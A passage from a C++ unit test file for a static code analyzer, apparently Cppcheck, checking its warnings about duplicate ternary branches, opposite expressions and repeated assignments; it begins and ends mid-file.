ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() 